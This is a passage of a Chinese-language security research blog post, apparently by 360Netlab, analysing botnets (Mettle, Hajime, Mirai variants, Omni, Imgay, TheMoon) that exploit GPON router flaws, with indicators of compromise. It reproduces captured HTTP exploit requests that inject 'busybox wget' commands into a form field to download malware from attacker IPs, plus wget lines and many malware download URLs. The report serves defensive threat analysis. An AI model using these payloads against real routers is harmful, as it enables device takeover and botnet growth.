**扫描器IP**  : 118.70.80.143 Vietnam/VN Hanoi\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n - **C2服务器**: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n - **下载服务器**：利用了上述C2服务器的 80 端口\n - **恶意软件（下载器）样本hash**:  8e2c6a92a024f8b8bb3c086b86fa50f9\n - 上述下载器会下载**开源渗透测试工具mettle**，一个metasploit的衍生版本，随后目标设备会被C2服务器远程控制\n\n另外，当完成漏洞利用后，控制者还会修改 Gpon 路由器原有iptables 规则，封堵 TCP 80 和 443 端口流量。通常可以认为这是恶意代码在试图阻止其他恶意代码的进入。部分 iptables 规则如下示例：\n```\n-A ACL -p tcp -m tcp --dport 80 -j DROP\n-A ACL -p tcp -m tcp --dport 23 -j DROP\n-A ACL -p tcp -m tcp --dport 22 -j DROP\n-A ACL -p tcp -m tcp --dport 21 -j DROP \n-A ACL -p tcp -m tcp --dport 443 -j DROP\n```\n\n我们并未直接观察到 mettle 的攻击载荷，但是我们注意到该IP地址在历史曾经与其他恶意代码相关。有兴趣的读者可以尝试继续展开搜索。\n\n#### Hajime\nHajime 家族本次更新的特征包括：\n\n  - **文件名**：atk.mipseb.1525838286  \n  - **原始Hash**: 8CCA32FB1FE4826007B087B4AEE20941\n  - **脱壳前Hash**: ED1306E24196533553571D5433312A2D\n  - **脱壳后Hash**: E06E1E7993EA310CE0FBA9DD76CDF377\n  - **端口目标**：23,80,8080\n  - **新的 Payload(GPON)**：hxxps://www.exploit-db.com/exploits/44576/ \n\n该样本中的GPON漏洞利用代码截图如下：\n![](__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated.png)\n\n更新后的 atk.mpseb 模块可以同时对 TCP 23，80，8080 发起扫描：\n![](__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated-scanning-port.png)\n\n#### Mirai 变种 1\n\n该mirai变种的特征包括：\n\n - 扫描器IP  : 46.243.189.60 Netherlands/NL \"AS205406 Hostio Solutions B.V.\"\n - C2服务器: 46.243.189.102:127  Netherlands/NL \"AS205406 Hostio Solutions B.V.\"\n - 下载服务器：共用了上述IP地址的 80 端口\n - 恶意软件样本hash:  c6dc9f7cf09a267fefe53c5c481e7ea0\n\n所使用的攻击载荷如下：\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2\nHost: {target}\nAccept: */*\nContent-Length: 138\nContent-Type: application/x-www-form-urlencoded\n\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&ipv=0\n```\n\n这个mirai变种对应的 C2 服务器已经长期被我们监控。这个C2会发出DDoS攻击指令，并且比较活跃。我们首次监控到其发出DDoS攻击指令的时间是 2018-01-26 13:10:20。下图是其每日发出的攻击指令的条数变化曲线：\n\n![](__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command.png)\n\n受害者方面，由于其攻击指令较多，我们仅列出部分流行的站点，包括：check-host.net，incapsula.com，moz.com，opskins.com，pastebin.com，roblox.com，seznam.cz，store.playstation.com，www.kinguin.net，等等。\n\n![](__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command-detail.png)\n\n#### Mirai 变种 2  - Omni\n\nnewskysecurity 的研究员已经将该变种命名为 [omni](https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3)，其描述与我们的观察比较一致。\n\n在本轮攻击中，omni使用的攻击载荷是：\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nHost: {target}\nContent-Length: 120\nUser-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1\nConnection: keep-alive\nAccept: */*\nAccept-Encoding: gzip, deflate\n\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&ipv=0\n```\n\n\n该僵尸网络的特征包括：\n\n - 下载服务器 URL ：hxxp://185.246.152.173/omni\n - C2 服务器：185.246.152.173:1000\n - Scanner IP 地址：51.15.106.135\n\n历史上该C2就传播过多个mirai变种，包括owari、xOwari、s-owari、sora、omni。并且该C2编译的mirai变种支持多种CPU架构，除了通常 mirai 变种都支持的 arm、mips、mpsl、mipsl、x86、spc之外，还支持了之前社区广泛关注的 arc CPU架构。\n\n另外一个有趣的地方是该僵尸网络对外界传递的两条信息。一条信息保存在该服务器上（hxxp://185.246.152.173/meme）。当前该URL已经不可访问，其历史截图如下。图片主体由知名安全博客博主 [brian krebs](https://krebsonsecurity.com/) 的头像与电影《黑客帝国》剧照合并而成：\n![](__GHOST_URL__/content/images/2018/05/omni-krebs-gmail.png)\n\n页面的文字内容如下。其中包含一个邮件地址 krebsonsecurity@gamil.com，注意这并非是 Brian Krebs 本人的邮箱地址。\n```\nHey you, stop right there!\nWant your router fixed? No problem! Send an email to krebsonsecurity@gamil.com and we will have it fixed asap!\n~ scarface is your daddy ~\n```\n\n另一条信息保存在样本中，留下了一个twitter帐号 @1337Wicked :\n![](__GHOST_URL__/content/images/2018/05/sora-author-info.png)\n```\nmd5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8\nmessage: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter\n```\n\n#### Imgay\n\nImgay 是另外一个僵尸网络，其传播的恶意代码 URL 如下：\n```\nhxxp://149.28.96.126/imgay\n```\n\n该恶意代码会访问如下地址，但之后该恶意代码就结束了，没有看到后续活动。\n```\nwget hxxp://149.28.96.126/loaded/killy > /dev/null 2>&1\nwget hxxp://149.28.96.126/pid_max/%s > /dev/null 2>&1\nwget hxxp://149.28.96.126/pid_max/default > /dev/null 2>&1\nwget hxxp://149.28.96.126/killed/%i > /dev/null 2>&1\n```\n\n#### The Moon 僵尸网络家族\n\n关于该僵尸网络可以阅读我们之前的 [文章](__GHOST_URL__/themoon-botnet-a-review-and-new-features/) 。由于我们之前提过，TheMoon使用的这个漏洞一定程度上可以算过 0day，各管理员需要特别注意该家族。出于避免漏洞扩散的原因，我们暂时不会公开这个攻击载荷的详细信息。\n\n该恶意家族的特征包括：\n\n  - **Scanner IP**: 177.141.64.108 Brazil/BR São Paulo\t\"AS28573 CLARO S.A.\"\n  - **扫描端口**：80，8080，81，82，8888\n  - **下载服务器**:domstates.su ，我们使用该域名将本次攻击与 TheMoon 家族联系起来\n\n攻击载荷\n```\nPOST /--------/--------?---------/ HTTP/1.1\nAccept: */*\nHost: {}\nUser-Agent: Wget(linux)\nContent-Length: 287\nContent-Type: application/x-www-form-urlencoded\n-------------------------------------------------------------\nhxxp://domstates.su/gpon.sh \n```\n\n\n#### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n####Ioc\n\nMettle\n```\n118.70.80.143 Vietnam/VN Hanoi \"AS18403 The Corporation for Financing & Promoting Technology\" scanner IP\n210.245.26.180:4441 Vietnam/VN Ho Chi Minh City \"AS18403 The Corporation for Financing & Promoting Technology\" c2\n8e2c6a92a024f8b8bb3c086b86fa50f9  malware hash\n```\n\nHajime\n```\natk.mipseb.1525838286   file name\n8CCA32FB1FE4826007B087B4AEE20941  hash original\nED1306E24196533553571D5433312A2D  hash before unpack\nE06E1E7993EA310CE0FBA9DD76CDF377  hash after unpack\n```\n\nMira variant #1\n```\n46.243.189.60 Netherlands/NL \"AS205406 Hostio Solutions B.V.\" scanner IP\n46.243.189.102:127 Netherlands/NL \"AS205406 Hostio Solutions B.V.\" C2 ip\nc6dc9f7cf09a267fefe53c5c481e7ea0   malware hash\n```\n\nOmni\n```\n185.246.152.173:1000 Netherlands/NL \"AS56630 Melbikomas UAB\" C2 \n51.15.106.135 France/FR\t\"AS12876 Online S.a.s.\"   scanner IP\nhxxp://185.246.152.173/omni malware download URL\n```\n\nOmni 的历史恶意代码下载链接\n```\nhxxp://185.246.152.173:80/bins/spc.omni\nhxxp://185.246.152.173:80/bins/sora.spc\nhxxp://185.246.152.173:80/bins/sora.sh4\nhxxp://185.246.152.173:80/bins/sora.arm6\nhxxp://185.246.152.173:80/bins/sora.arm5\nhxxp://185.246.152.173:80/bins/s-owari.spc\nhxxp://185.246.152.173:80/bins/s-owari.mpsl\nhxxp://185.246.152.173:80/bins/s-owari.m68k\nhxxp://185.246.152.173:80/bins/s-owari.arm\nhxxp://185.246.152.173:80/bins/s-owari.arm7\nhxxp://185.246.152.173:80/bins/s-owari.arc\nhxxp://185.246.152.173:80/bins/owari.x86\nhxxp://185.246.152.173:80/bins/owari.spc\nhxxp://185.246.152.173:80/bins/owari.mpsl\nhxxp://185.246.152.173:80/bins/owari.mips\nhxxp://185.246.152.173:80/bins/owari.i586\nhxxp://185.246.152.173:80/bins/owari.arm\nhxxp://185.246.152.173:80/bins/owari.arm7\nhxxp://185.246.152.173:80/bins/owari.arm5\nhxxp://185.246.152.173:80/bins/owari.arm4\nhxxp://185.246.152.173:80/bins/mpsl.omni\nhxxp://185.246.152.173:80/bins/mips.owari\nhxxp://185.246.152.173:80/bins/mips.omni\nhxxp://185.246.152.173:80/bins/arm7.omni\nhxxp://185.246.152.173:80/bins/arm6.omni\nhxxp://185.246.152.173:80/bins/arc.omni\nhxxp://185.246.152.173:80/bins/Owari.x86\nhxxp://185.246.152.173:80/bins/Owari.spc\nhxxp://185.246.152.173:80/bins/Owari.sh4\nhxxp://185.246.152.173:80/bins/Owari.mpsl\nhxxp://185.246.152.173:80/bins/Owari.mips1\nhxxp://185.246.152.173:80/bins/Owari.m68k\nhxxp://185.246.152.173:80/bins/Owari.arm7\nhxxp://185.246.152.173:80/bins/Owari.arm6\nhxxp://185.246.152.173/xOwari.sh\nhxxp://185.246.152.173/bins/x86.omni\nhxxp://185.246.152.173/bins/scan.x86\nhxxp://185.246.152.173/bins/s-owari.ppc\nhxxp://185.246.152.173/bins/s-owari.mpsl\nhxxp://185.246.152.173/bins/s-owari.arm\nhxxp://185.246.152.173/bins/s-owari.arm7\nhxxp://185.246.152.173/bins/owari.spc\nhxxp://185.246.152.173/bins/owari.sh4\nhxxp://185.246.152.173/bins/owari.mips\nhxxp://185.246.152.173/bins/owari.m68k\nhxxp://185.246.152.173/bins/owari.arm\nhxxp://185.246.152.173/bins/owari.arm7\nhxxp://185.246.152.173/bins/nocpu.x86\nhxxp://185.246.152.173/bins/nocpu.mips\nhxxp://185.246.152.173/41ai.sh\n```\n\nTheMoon\n```\nmd5=17fb1bfae44a9008a4c9b4bdc6b327bd    url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z\nmd5=299919e8a5b4c8592db0c47207935b69    url=hxxp://domstates.su/gpon.sh\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}